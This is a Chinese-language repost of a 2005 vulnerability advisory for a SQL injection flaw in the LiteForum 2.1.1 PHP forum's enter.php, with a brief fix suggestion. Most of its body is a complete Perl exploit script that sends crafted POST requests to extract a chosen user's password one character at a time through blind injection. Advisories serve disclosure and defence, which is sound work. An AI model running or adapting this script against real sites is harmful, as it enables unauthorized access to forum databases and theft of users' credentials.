| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | 

您现在的位置: 中国X黑客小组 >> 技术文章 >> 新闻中心 >> 漏洞公告 >> 文章正文 用户登录 新用户注册
  LiteForum enter.php远程SQL注入漏洞         ★★★ 【字体:
LiteForum enter.php远程SQL注入漏洞
作者:未知    文章来源:http://www.nsfocus.net/    点击数:    更新时间:2005-2-14    

受影响系统:
SoftTime LiteForum 2.1.1
SoftTime LiteForum 2.1.1
描述:
--------------------------------------------------------------------------------
LiteForum是一款基于PHP的论坛程序。

LiteForum包含的'enter.php'不正确过滤用户提交的参数,远程攻击者可以利用这个漏洞进行SQL注入攻击。

'enter.php'脚本不正确过滤'password'参数数据,远程用户可以提交特殊构建的HTTP POST请求可执行任意SQL命令,获得敏感信息或修改数据库。

<*来源:1dt.w0lf() (RusH security team)
  
  链接:http://www.rst.void.ru/download/r57lite211.txt
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

1dt.w0lf (RusH security team)提供了如下测试方法:

#!/usr/bin/perl

use LWP::UserAgent;

## LiteForum 2.1.1 (http://www.softtime.ru)
## sql injection exploit
## work on all mysql versions
## by 1dt.w0lf
## RusH security team (http://rst.void.ru)
## ---------------------------------------
## greets 2:
## ghc (www.ghc.ru)
## Gh0st Security Team (http://gst.void.ru) heya Ch0ke7 and off couse "re ine" ;)
## 0xdeadbabe Security Research (0xdeadbabe.blackhatz.info)
## 10x to cr0n for idea abour kewl haxor "username" =)))

$path   = $ARGV[0];
$userid = $ARGV[1];

$|++;
$s_num = 1;

if (@ARGV < 2) { &usage; }
if ($ARGV[1]=~/[^0-9]/) { print "stupid! \"".$ARGV[1]."\" is not number!"; exit(); }
print " Please wait...\r\n";
print " Progress : [";

while(1)
{
if(&found(47,58)==0) { &found(96,122); }
if ($i=="0")
{
if(length($allchar)>0)
{
print qq|]

   USER_ID: $userid
USER_PASS: $allchar
|;
}
else
{
print qq|]
Forum not vulnerable or user ID is incorrect|;
}

exit();


}
else
{
print "#";
$allchar .= chr($i);
}
$s_num++;
}

sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }

$r = int($fmax - ($fmax-$fmin)/2);
$check = " BETWEEN $r AND $fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}

sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
  {
  $crcheck = "=$i";
  if ( &check($crcheck) ) { return $i; }
  $i++;
  }
$i = 0;
return $i;
}

sub check($)
{
$n++;
$ccheck = $_[0];

$lite_f = LWP::UserAgent->new() or die;
$res = $lite_f->post("$path",
[
"author" => "i_am_kewl_hakka_FATAL_ERROR_blyat\\",
"pswrd"  => " OR (id_author=".$userid." AND (ascii(substring(passw,".$s_num.",1))".$ccheck.")) /*"
]
);
@results = $res->content;

foreach $result(@results)
  {
  #print $result."\r\n";
  if ($result =~ /Error/) { return 1; }
  }
return 0;
}

sub usage {
print q|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
LiteForum 2.1.1 sql injection exploit with one char bruteforce
           by RusH security team (www.rst.void.ru)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Usage: r57lite211.pl [path] [id]                   
  
[path] - path to enter.php (http://host.com/forum/enter.php)
[id]   - user ID to bruteforce (1,2,3...)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|;
exit();
}

建议:
--------------------------------------------------------------------------------
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 自行修改脚本,对password字段进行检查

厂商补丁:

SoftTime
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.softtime.ru/

文章录入:IceRiver    责任编辑:IceRiver 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    端口关闭方法
    标准注入语句
    酒场上的IT文化
    如何分级防御针对Linux服务器
    Sniffit常见问题及防范策略分
    活地运用SQL Injection做数据
    IT主管:网络安全从哪入手?
    索尼拟推U盘升级文件 去除内
    微软今日发布Windows Live测
    Thomson SpeedTouch 2030 SI
      网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    Powered by ICE RIVER - STUDIO
    » CnXHacker.CoM   © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved.